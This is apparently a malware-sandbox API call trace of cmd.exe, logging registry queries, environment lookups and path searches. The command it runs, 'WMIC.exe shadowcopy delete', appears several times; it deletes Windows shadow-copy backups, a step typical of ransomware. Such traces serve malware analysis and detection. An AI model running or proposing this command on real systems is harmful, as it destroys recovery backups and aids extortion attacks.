	[0119.927] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0xa7c) returned 0x3f9f50
	[0119.928] FreeEnvironmentStringsW (penv=0x3f8a30) returned 1
	[0119.928] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x24ec68 | out: phkResult=0x24ec68*=0x44) returned 0x0
	[0119.928] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x24ec60, lpData=0x24ec80, lpcbData=0x24ec64*=0x1000 | out: lpType=0x24ec60*=0x0, lpData=0x24ec80*=0x18, lpcbData=0x24ec64*=0x1000) returned 0x2
	[0119.928] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x24ec60, lpData=0x24ec80, lpcbData=0x24ec64*=0x1000 | out: lpType=0x24ec60*=0x4, lpData=0x24ec80*=0x1, lpcbData=0x24ec64*=0x4) returned 0x0
	[0119.929] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x24ec60, lpData=0x24ec80, lpcbData=0x24ec64*=0x1000 | out: lpType=0x24ec60*=0x0, lpData=0x24ec80*=0x1, lpcbData=0x24ec64*=0x1000) returned 0x2
	[0119.929] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x24ec60, lpData=0x24ec80, lpcbData=0x24ec64*=0x1000 | out: lpType=0x24ec60*=0x4, lpData=0x24ec80*=0x0, lpcbData=0x24ec64*=0x4) returned 0x0
	[0119.929] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x24ec60, lpData=0x24ec80, lpcbData=0x24ec64*=0x1000 | out: lpType=0x24ec60*=0x4, lpData=0x24ec80*=0x40, lpcbData=0x24ec64*=0x4) returned 0x0
	[0119.929] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x24ec60, lpData=0x24ec80, lpcbData=0x24ec64*=0x1000 | out: lpType=0x24ec60*=0x4, lpData=0x24ec80*=0x40, lpcbData=0x24ec64*=0x4) returned 0x0
	[0119.929] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x24ec60, lpData=0x24ec80, lpcbData=0x24ec64*=0x1000 | out: lpType=0x24ec60*=0x0, lpData=0x24ec80*=0x40, lpcbData=0x24ec64*=0x1000) returned 0x2
	[0119.929] RegCloseKey (hKey=0x44) returned 0x0
	[0119.929] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x24ec68 | out: phkResult=0x24ec68*=0x44) returned 0x0
	[0119.930] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x24ec60, lpData=0x24ec80, lpcbData=0x24ec64*=0x1000 | out: lpType=0x24ec60*=0x0, lpData=0x24ec80*=0x40, lpcbData=0x24ec64*=0x1000) returned 0x2
	[0119.930] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x24ec60, lpData=0x24ec80, lpcbData=0x24ec64*=0x1000 | out: lpType=0x24ec60*=0x4, lpData=0x24ec80*=0x1, lpcbData=0x24ec64*=0x4) returned 0x0
	[0119.930] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x24ec60, lpData=0x24ec80, lpcbData=0x24ec64*=0x1000 | out: lpType=0x24ec60*=0x0, lpData=0x24ec80*=0x1, lpcbData=0x24ec64*=0x1000) returned 0x2
	[0119.930] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x24ec60, lpData=0x24ec80, lpcbData=0x24ec64*=0x1000 | out: lpType=0x24ec60*=0x4, lpData=0x24ec80*=0x0, lpcbData=0x24ec64*=0x4) returned 0x0
	[0119.930] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x24ec60, lpData=0x24ec80, lpcbData=0x24ec64*=0x1000 | out: lpType=0x24ec60*=0x4, lpData=0x24ec80*=0x9, lpcbData=0x24ec64*=0x4) returned 0x0
	[0119.930] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x24ec60, lpData=0x24ec80, lpcbData=0x24ec64*=0x1000 | out: lpType=0x24ec60*=0x4, lpData=0x24ec80*=0x9, lpcbData=0x24ec64*=0x4) returned 0x0
	[0119.930] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x24ec60, lpData=0x24ec80, lpcbData=0x24ec64*=0x1000 | out: lpType=0x24ec60*=0x0, lpData=0x24ec80*=0x9, lpcbData=0x24ec64*=0x1000) returned 0x2
	[0119.931] RegCloseKey (hKey=0x44) returned 0x0
	[0119.931] time (in: timer=0x0 | out: timer=0x0) returned 0x5e22e650
	[0119.931] srand (_Seed=0x5e22e650) 
	[0119.931] GetCommandLineW () returned="cmd /c \"WMIC.exe shadowcopy delete\""
	[0119.931] GetCommandLineW () returned="cmd /c \"WMIC.exe shadowcopy delete\""
	[0119.931] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a48c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13
	[0119.932] GetProcessHeap () returned 0x3e0000
	[0119.932] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x218) returned 0x3fa9e0
	[0119.932] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x3fa9f0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b
	[0119.933] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a47f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0119.933] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a47f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0119.933] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a47f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0119.933] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0119.933] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0119.933] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0119.934] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0119.934] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0119.934] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0119.934] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0119.934] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0119.934] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0119.934] GetProcessHeap () returned 0x3e0000
	[0119.934] HeapFree (in: hHeap=0x3e0000, dwFlags=0x0, lpMem=0x3f94c0 | out: hHeap=0x3e0000) returned 1
	[0119.934] GetEnvironmentStringsW () returned 0x3f8a30*
	[0119.934] GetProcessHeap () returned 0x3e0000
	[0119.935] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0xa94) returned 0x3fb6a0
	[0119.935] FreeEnvironmentStringsW (penv=0x3f8a30) returned 1
	[0119.935] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a47f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0119.935] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a47f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0119.935] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0119.935] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0119.935] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0119.935] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0119.935] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0119.935] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0119.935] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0119.936] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0119.936] GetProcessHeap () returned 0x3e0000
	[0119.936] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x38) returned 0x3f6450
	[0119.936] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x24fa70 | out: lpBuffer="C:\\Windows\\system32") returned 0x13
	[0119.936] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x104, lpBuffer=0x24fa70, lpFilePart=0x24fa50 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x24fa50*="system32") returned 0x13
	[0119.936] GetFileAttributesW (lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32")) returned 0x10
	[0119.937] FindFirstFileW (in: lpFileName="C:\\Windows", lpFindFileData=0x24f780 | out: lpFindFileData=0x24f780*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb4a840, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x2fb4a840, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe90000e9, cFileName="Windows", cAlternateFileName="")) returned 0x3e1320
	[0119.937] FindClose (in: hFindFile=0x3e1320 | out: hFindFile=0x3e1320) returned 1
	[0119.937] FindFirstFileW (in: lpFileName="C:\\Windows\\system32", lpFindFileData=0x24f780 | out: lpFindFileData=0x24f780*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec9a6f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xefd85d60, ftLastAccessTime.dwHighDateTime=0x1d4d596, ftLastWriteTime.dwLowDateTime=0xefd85d60, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe90000e9, cFileName="System32", cAlternateFileName="")) returned 0x3e1320
	[0119.937] FindClose (in: hFindFile=0x3e1320 | out: hFindFile=0x3e1320) returned 1
	[0119.938] GetFileAttributesW (lpFileName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 0x10
	[0119.938] SetCurrentDirectoryW (lpPathName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 1
	[0119.938] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Windows\\System32") returned 1
	[0119.938] GetProcessHeap () returned 0x3e0000
	[0119.938] HeapFree (in: hHeap=0x3e0000, dwFlags=0x0, lpMem=0x3fb6a0 | out: hHeap=0x3e0000) returned 1
	[0119.938] GetEnvironmentStringsW () returned 0x3f8a30*
	[0119.938] GetProcessHeap () returned 0x3e0000
	[0119.938] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0xac4) returned 0x3fac00
	[0119.938] FreeEnvironmentStringsW (penv=0x3f8a30) returned 1
	[0119.939] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a48c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13
	[0119.939] GetProcessHeap () returned 0x3e0000
	[0119.939] HeapFree (in: hHeap=0x3e0000, dwFlags=0x0, lpMem=0x3f6450 | out: hHeap=0x3e0000) returned 1
	[0119.939] GetProcessHeap () returned 0x3e0000
	[0119.939] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x4016) returned 0x3fcc10
	[0119.940] GetProcessHeap () returned 0x3e0000
	[0119.940] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x4e) returned 0x3fb6d0
	[0119.940] GetProcessHeap () returned 0x3e0000
	[0119.941] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x4010) returned 0x400c30
	[0119.941] GetProcessHeap () returned 0x3e0000
	[0119.941] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x4010) returned 0x404c50
	[0119.949] _wcsnicmp (_String1="WMIC", _String2="cmd ", _MaxCount=0x4) returned 20
	[0119.951] GetProcessHeap () returned 0x3e0000
	[0119.951] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x420) returned 0x3fb730
	[0119.951] SetErrorMode (uMode=0x0) returned 0x8001
	[0119.951] SetErrorMode (uMode=0x1) returned 0x0
	[0119.952] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x3fb740, lpFilePart=0x24f930 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x24f930*="system32") returned 0x13
	[0119.952] SetErrorMode (uMode=0x8001) returned 0x1
	[0119.952] GetProcessHeap () returned 0x3e0000
	[0119.952] RtlReAllocateHeap (Heap=0x3e0000, Flags=0x0, Ptr=0x3fb730, Size=0x6e) returned 0x3fb730
	[0119.952] GetProcessHeap () returned 0x3e0000
	[0119.952] RtlSizeHeap (HeapHandle=0x3e0000, Flags=0x0, MemoryPointer=0x3fb730) returned 0x6e
	[0119.952] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a47f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0119.953] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0119.953] GetProcessHeap () returned 0x3e0000
	[0119.953] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x104) returned 0x3fb7b0
	[0119.953] GetProcessHeap () returned 0x3e0000
	[0119.953] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x1f8) returned 0x3fb8c0
	[0120.317] GetProcessHeap () returned 0x3e0000
	[0120.317] RtlReAllocateHeap (Heap=0x3e0000, Flags=0x0, Ptr=0x3fb8c0, Size=0x106) returned 0x3fb8c0
	[0120.317] GetProcessHeap () returned 0x3e0000
	[0120.317] RtlSizeHeap (HeapHandle=0x3e0000, Flags=0x0, MemoryPointer=0x3fb8c0) returned 0x106
	[0120.318] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a47f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0120.318] GetProcessHeap () returned 0x3e0000
	[0120.318] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0xe8) returned 0x3fb9e0
	[0120.319] RtlReAllocateHeap (Heap=0x3e0000, Flags=0x0, Ptr=0x3fb9e0, Size=0x7e) returned 0x3fb9e0
	[0120.319] GetProcessHeap () returned 0x3e0000
	[0120.319] RtlSizeHeap (HeapHandle=0x3e0000, Flags=0x0, MemoryPointer=0x3fb9e0) returned 0x7e
	[0120.319] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0120.319] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\WMIC.exe shadowcopy delete", fInfoLevelId=0x1, lpFindFileData=0x24f6a0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x24f6a0) returned 0xffffffffffffffff
	[0120.320] GetLastError () returned 0x2
	[0120.320] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\WMIC.exe shadowcopy delete.*", fInfoLevelId=0x1, lpFindFileData=0x24f6a0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x24f6a0) returned 0xffffffffffffffff
	[0120.320] GetLastError () returned 0x2
	[0120.320] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\WMIC.exe shadowcopy delete", fInfoLevelId=0x1, lpFindFileData=0x24f6a0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x24f6a0) returned 0xffffffffffffffff
	[0120.321] GetLastError () returned 0x2
	[0120.321] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0120.321] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\WMIC.exe shadowcopy delete", fInfoLevelId=0x1, lpFindFileData=0x24f6a0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x24f6a0) returned 0xffffffffffffffff
	[0120.321] GetLastError () returned 0x2
	[0120.321] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\WMIC.exe shadowcopy delete.*", fInfoLevelId=0x1, lpFindFileData=0x24f6a0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x24f6a0) returned 0xffffffffffffffff
	[0120.322] GetLastError () returned 0x2
	[0120.322] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\WMIC.exe shadowcopy delete", fInfoLevelId=0x1, lpFindFileData=0x24f6a0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x24f6a0) returned 0xffffffffffffffff
	[0120.322] GetLastError () returned 0x2
	[0120.322] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0120.323] FindFirstFileExW (in: lpFileName="C:\\Windows\\WMIC.exe shadowcopy delete", fInfoLevelId=0x1, lpFindFileData=0x24f6a0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x24f6a0) returned 0xffffffffffffffff
	[0120.324] GetLastError () returned 0x2
	[0120.324] FindFirstFileExW (in: lpFileName="C:\\Windows\\WMIC.exe shadowcopy delete.*", fInfoLevelId=0x1, lpFindFileData=0x24f6a0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x24f6a0) returned 0xffffffffffffffff
	[0120.324] GetLastError () returned 0x2
	[0120.324] FindFirstFileExW (in: lpFileName="C:\\Windows\\WMIC.exe shadowcopy delete", fInfoLevelId=0x1, lpFindFileData=0x24f6a0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x24f6a0) returned 0xffffffffffffffff
	[0120.325] GetLastError () returned 0x2
	[0120.325] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0120.325] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\WMIC.exe shadowcopy delete", fInfoLevelId=0x1, lpFindFileData=0x24f6a0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x24f6a0) returned 0xffffffffffffffff
	[0120.326] GetLastError () returned 0x2
	[0120.326] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\WMIC.exe shadowcopy delete.*", fInfoLevelId=0x1, lpFindFileData=0x24f6a0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x24f6a0) returned 0xffffffffffffffff
	[0120.326] GetLastError () returned 0x2
	[0120.326] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\WMIC.exe shadowcopy delete", fInfoLevelId=0x1, lpFindFileData=0x24f6a0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x24f6a0) returned 0xffffffffffffffff
	[0120.326] GetLastError () returned 0x2
	[0120.327] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0120.327] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WMIC.exe shadowcopy delete", fInfoLevelId=0x1, lpFindFileData=0x24f6a0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x24f6a0) returned 0xffffffffffffffff
	[0120.330] GetLastError () returned 0x2
	[0120.330] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WMIC.exe shadowcopy delete.*", fInfoLevelId=0x1, lpFindFileData=0x24f6a0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x24f6a0) returned 0xffffffffffffffff
	[0120.335] GetLastError () returned 0x2
	[0120.335] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WMIC.exe shadowcopy delete", fInfoLevelId=0x1, lpFindFileData=0x24f6a0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x24f6a0) returned 0xffffffffffffffff
	[0120.340] GetLastError () returned 0x2
	[0120.342] GetConsoleOutputCP () returned 0x1b5
	[0120.760] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a48bfe0 | out: lpCPInfo=0x4a48bfe0) returned 1
	[0120.760] GetUserDefaultLCID () returned 0x409
	[0120.761] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a487b50, cchData=8 | out: lpLCData=":") returned 2
	[0120.761] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x24fb80, cchData=128 | out: lpLCData="0") returned 2
	[0120.761] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x24fb80, cchData=128 | out: lpLCData="0") returned 2
	[0120.762] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x24fb80, cchData=128 | out: lpLCData="1") returned 2
	[0120.762] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a49a740, cchData=8 | out: lpLCData="/") returned 2
	[0120.762] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a49a4a0, cchData=32 | out: lpLCData="Mon") returned 4
	[0120.762] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a49a460, cchData=32 | out: lpLCData="Tue") returned 4
	[0120.762] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a49a420, cchData=32 | out: lpLCData="Wed") returned 4
	[0120.763] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a49a3e0, cchData=32 | out: lpLCData="Thu") returned 4
	[0120.763] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a49a3a0, cchData=32 | out: lpLCData="Fri") returned 4
	[0120.763] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a49a360, cchData=32 | out: lpLCData="Sat") returned 4
	[0120.763] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a49a700, cchData=32 | out: lpLCData="Sun") returned 4
	[0120.763] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a487b40, cchData=8 | out: lpLCData=".") returned 2
	[0120.763] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a49a4e0, cchData=8 | out: lpLCData=",") returned 2
	[0120.763] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0120.765] GetProcessHeap () returned 0x3e0000
	[0120.765] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x0, Size=0x20c) returned 0x3fbae0
	[0120.765] GetConsoleTitleW (in: lpConsoleTitle=0x3fbae0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0120.766] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76f20000
	[0120.766] GetProcAddress (hModule=0x76f20000, lpProcName="CopyFileExW") returned 0x76f323d0
	[0120.766] GetProcAddress (hModule=0x76f20000, lpProcName="IsDebuggerPresent") returned 0x76f28290
	[0120.766] GetProcAddress (hModule=0x76f20000, lpProcName="SetConsoleInputExeNameW") returned 0x76f317e0
	[0120.767] GetProcessHeap () returned 0x3e0000
	[0120.767] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x4012) returned 0x3fcc10
	[0120.767] GetProcessHeap () returned 0x3e0000
	[0120.767] HeapFree (in: hHeap=0x3e0000, dwFlags=0x0, lpMem=0x3fcc10 | out: hHeap=0x3e0000) returned 1
	[0120.768] GetConsoleTitleW (in: lpConsoleTitle=0x24fa90, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0120.768] GetFileAttributesW (lpFileName="WMIC.exe" (normalized: "c:\\windows\\system32\\wmic.exe")) returned 0xffffffff
	[0120.768] _wcsicmp (_String1="WMIC", _String2="DIR") returned 19
	[0120.768] _wcsicmp (_String1="WMIC", _String2="ERASE") returned 18
	[0120.768] _wcsicmp (_String1="WMIC", _String2="DEL") returned 19
	[0120.769] _wcsicmp (_String1="WMIC", _String2="TYPE") returned 3
	[0120.769] _wcsicmp (_String1="WMIC", _String2="COPY") returned 20
	[0120.769] _wcsicmp (_String1="WMIC", _String2="CD") returned 20
	[0120.769] _wcsicmp (_String1="WMIC", _String2="CHDIR") returned 20
	[0120.769] _wcsicmp (_String1="WMIC", _String2="RENAME") returned 5
	[0120.769] _wcsicmp (_String1="WMIC", _String2="REN") returned 5
	[0120.769] _wcsicmp (_String1="WMIC", _String2="ECHO") returned 18
	[0120.769] _wcsicmp (_String1="WMIC", _String2="SET") returned 4
	[0120.769] _wcsicmp (_String1="WMIC", _String2="PAUSE") returned 7
	[0120.769] _wcsicmp (_String1="WMIC", _String2="DATE") returned 19
	[0120.769] _wcsicmp (_String1="WMIC", _String2="TIME") returned 3
	[0120.769] _wcsicmp (_String1="WMIC", _String2="PROMPT") returned 7
	[0120.770] _wcsicmp (_String1="WMIC", _String2="MD") returned 10
	[0120.770] _wcsicmp (_String1="WMIC", _String2="MKDIR") returned 10
	[0120.770] _wcsicmp (_String1="WMIC", _String2="RD") returned 5
	[0120.770] _wcsicmp (_String1="WMIC", _String2="RMDIR") returned 5
	[0120.770] _wcsicmp (_String1="WMIC", _String2="PATH") returned 7
	[0120.770] _wcsicmp (_String1="WMIC", _String2="GOTO") returned 16
	[0120.770] _wcsicmp (_String1="WMIC", _String2="SHIFT") returned 4
	[0120.770] _wcsicmp (_String1="WMIC", _String2="CLS") returned 20
	[0120.770] _wcsicmp (_String1="WMIC", _String2="CALL") returned 20
	[0120.770] _wcsicmp (_String1="WMIC", _String2="VERIFY") returned 1
	[0120.770] _wcsicmp (_String1="WMIC", _String2="VER") returned 1
	[0120.770] _wcsicmp (_String1="WMIC", _String2="VOL") returned 1
	[0120.770] _wcsicmp (_String1="WMIC", _String2="EXIT") returned 18
	[0120.770] _wcsicmp (_String1="WMIC", _String2="SETLOCAL") returned 4
	[0120.771] _wcsicmp (_String1="WMIC", _String2="ENDLOCAL") returned 18
	[0120.771] _wcsicmp (_String1="WMIC", _String2="TITLE") returned 3
	[0120.771] _wcsicmp (_String1="WMIC", _String2="START") returned 4
	[0120.771] _wcsicmp (_String1="WMIC", _String2="DPATH") returned 19
	[0120.771] _wcsicmp (_String1="WMIC", _String2="KEYS") returned 12
	[0120.771] _wcsicmp (_String1="WMIC", _String2="MOVE") returned 10
	[0120.771] _wcsicmp (_String1="WMIC", _String2="PUSHD") returned 7
	[0120.771] _wcsicmp (_String1="WMIC", _String2="POPD") returned 7
	[0120.771] _wcsicmp (_String1="WMIC", _String2="ASSOC") returned 22
	[0120.771] _wcsicmp (_String1="WMIC", _String2="FTYPE") returned 17
	[0120.771] _wcsicmp (_String1="WMIC", _String2="BREAK") returned 21
	[0120.771] _wcsicmp (_String1="WMIC", _String2="COLOR") returned 20
	[0120.772] _wcsicmp (_String1="WMIC", _String2="MKLINK") returned 10
	[0120.772] _wcsicmp (_String1="WMIC", _String2="DIR") returned 19
	[0120.772] _wcsicmp (_String1="WMIC", _String2="ERASE") returned 18
	[0120.772] _wcsicmp (_String1="WMIC", _String2="DEL") returned 19
	[0120.772] _wcsicmp (_String1="WMIC", _String2="TYPE") returned 3
	[0120.772] _wcsicmp (_String1="WMIC", _String2="COPY") returned 20
	[0120.772] _wcsicmp (_String1="WMIC", _String2="CD") returned 20
	[0120.772] _wcsicmp (_String1="WMIC", _String2="CHDIR") returned 20
	[0120.772] _wcsicmp (_String1="WMIC", _String2="RENAME") returned 5
	[0120.772] _wcsicmp (_String1="WMIC", _String2="REN") returned 5
	[0120.772] _wcsicmp (_String1="WMIC", _String2="ECHO") returned 18
	[0120.772] _wcsicmp (_String1="WMIC", _String2="SET") returned 4
	[0120.772] _wcsicmp (_String1="WMIC", _String2="PAUSE") returned 7
	[0120.772] _wcsicmp (_String1="WMIC", _String2="DATE") returned 19
	[0120.773] _wcsicmp (_String1="WMIC", _String2="TIME") returned 3
	[0120.773] _wcsicmp (_String1="WMIC", _String2="PROMPT") returned 7
	[0120.773] _wcsicmp (_String1="WMIC", _String2="MD") returned 10
	[0120.773] _wcsicmp (_String1="WMIC", _String2="MKDIR") returned 10
	[0120.773] _wcsicmp (_String1="WMIC", _String2="RD") returned 5
	[0120.773] _wcsicmp (_String1="WMIC", _String2="RMDIR") returned 5
	[0120.773] _wcsicmp (_String1="WMIC", _String2="PATH") returned 7
